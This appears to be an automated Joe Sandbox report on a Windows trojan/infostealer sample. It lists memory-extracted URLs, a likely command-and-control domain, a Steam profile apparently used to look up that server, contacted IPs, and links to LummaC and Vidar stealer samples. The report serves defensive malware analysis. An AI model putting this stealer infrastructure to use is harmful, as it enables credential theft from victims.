https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://player.vimeo.com	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://villagedguy.cyou/apibu0	BitLockerToGo.exe, 00000002.00000002.2038989446.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection=broadcasts	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/golang/protobuf/issues/1609):	Imperial_Delay.exe	false		unknown
https://store.steampowered.com/subscriber_agreement/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/zitadel/zitadel/blob/new-eventstore/cmd/zitadel/startup.yaml.	Imperial_Delay.exe	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.valvesoftware.com/legal.htm	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://villagedguy.cyou/apibu	BitLockerToGo.exe, 00000002.00000002.2038989446.0000000002D1E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2032771167.0000000002D1D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://villagedguy.cyou:443/api	BitLockerToGo.exe, 00000002.00000003.1998002889.0000000002D2C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C6D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1996190492.0000000002D2C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://villagedguy.cyou/	BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002CFE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.gnu.org/gethelp/	libidn2-0.dll.0.dr	false		unknown
https://s.ytimg.com;	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=I6RUPT-G-voT&amp	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/privacy_agreement/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/points/shop/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gnu.org/software/libidn/#libidn2	libidn2-0.dll.0.dr	false		unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000002.00000003.1924301094.000000000508E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.color.org)	Qt5GuiVBox.dll	false		unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000002.00000003.1953566080.000000000515D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/privacy_agreement/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://villagedguy.cyou/api~Vl	BitLockerToGo.exe, 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.microsof	BitLockerToGo.exe, 00000002.00000003.1924301094.0000000005090000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/recaptcha/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gnu.org/licenses/gpl.html	libidn2-0.dll.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.gnu.org/software/libidn/#libidn2Libidn2General	libidn2-0.dll.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/about/	BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/my/wishlist/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://villagedguy.cyou/api0	BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C7E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/news/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gnu.org/gethelp/exebatcmdcom	libidn2-0.dll.0.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000002.00000003.1924301094.000000000508E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://recaptcha.net/recaptcha/;	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/discussions/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/stats/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://medal.tv	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.zitadel.ch/assets/v1/avatar-32432jkh4kj32	Imperial_Delay.exe	false		unknown
https://broadcast.st.dl.eccdnx.com	BitLockerToGo.exe, 00000002.00000003.1895132930.0000000002CC0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://villagedguy.cyou/apiO	BitLockerToGo.exe, 00000002.00000003.2009812823.0000000002D19000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2010533759.0000000002D1C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2010643755.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=xYs7	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/steam_refunds/	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1952377971.0000000005060000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://villagedguy.cyou/apiob	BitLockerToGo.exe, 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.1925016440.0000000005079000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p	BitLockerToGo.exe, 00000002.00000003.1895036491.0000000002CF3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	BitLockerToGo.exe, 00000002.00000003.1909317979.0000000002D02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.virtualbox.org/	VBoxProxyStub-x86.dll.0.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	true
104.21.32.196	villagedguy.cyou	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545779
Start date and time:	2024-10-31 01:04:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HLZwUhcJ28.exe renamed because original name is a hash value
Original Sample Name:	4b93cf26d6e6c52e332e084f0940c5e687a91b08e66ee822aae302d1b1f3c014.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/13@10/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 96% Number of executed functions: 87 Number of non-executed functions: 119
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Imperial_Delay.exe, PID 1136 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: HLZwUhcJ28.exe

Simulations

Behavior and APIs

Time	Type	Description
20:05:20	API Interceptor	11x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
104.21.32.196	z5DptXNeB1.exe	Get hash	malicious	Lokibot	Browse	ideshowsx.xyz/ide/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	buNtKcYHCa.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	yt5xqAvHnZ.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	SecuriteInfo.com.Trojan.TR.Redcap.cdtxw.10783.3124.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	9yJSTTEg68.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	184.28.90.27
	V6QED2Q1WBYVOPE	Get hash	malicious	Unknown	Browse	23.46.224.247
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	2.19.126.211
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.50.173
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://apollomicsinc-my.sharepoint.com/:u:/p/peony_yu/EThcAjzaTWNPs4NpIP1X0v0BUe4pmKNB9s6TANBDk5EDeA?rtime=8VndtY_33Eg	Get hash	malicious	Unknown	Browse	23.38.98.68
	https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utm	Get hash	malicious	HTMLPhisher	Browse	184.28.89.220
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	104.102.34.86
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
CLOUDFLARENETUS	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse	104.26.0.231
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	Unknown	Browse	104.26.0.100
	file.exe	Get hash	malicious	Unknown	Browse	104.26.0.100
	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.21.33.140
	5lg7zd.elf	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.41.39

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 104.21.32.196
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.32.196
	SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.102.49.254 104.21.32.196
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.32.196
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 104.21.32.196
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.102.49.254 104.21.32.196
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.32.196
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.32.196
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.32.196
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	104.102.49.254 104.21.32.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll	verification.b-cdn.net.ps1	Get hash	malicious	Go Injector, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe

Download File

Process:	C:\Users\user\Desktop\HLZwUhcJ28.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17504256
Entropy (8bit):	6.423254601605558
Encrypted:	false
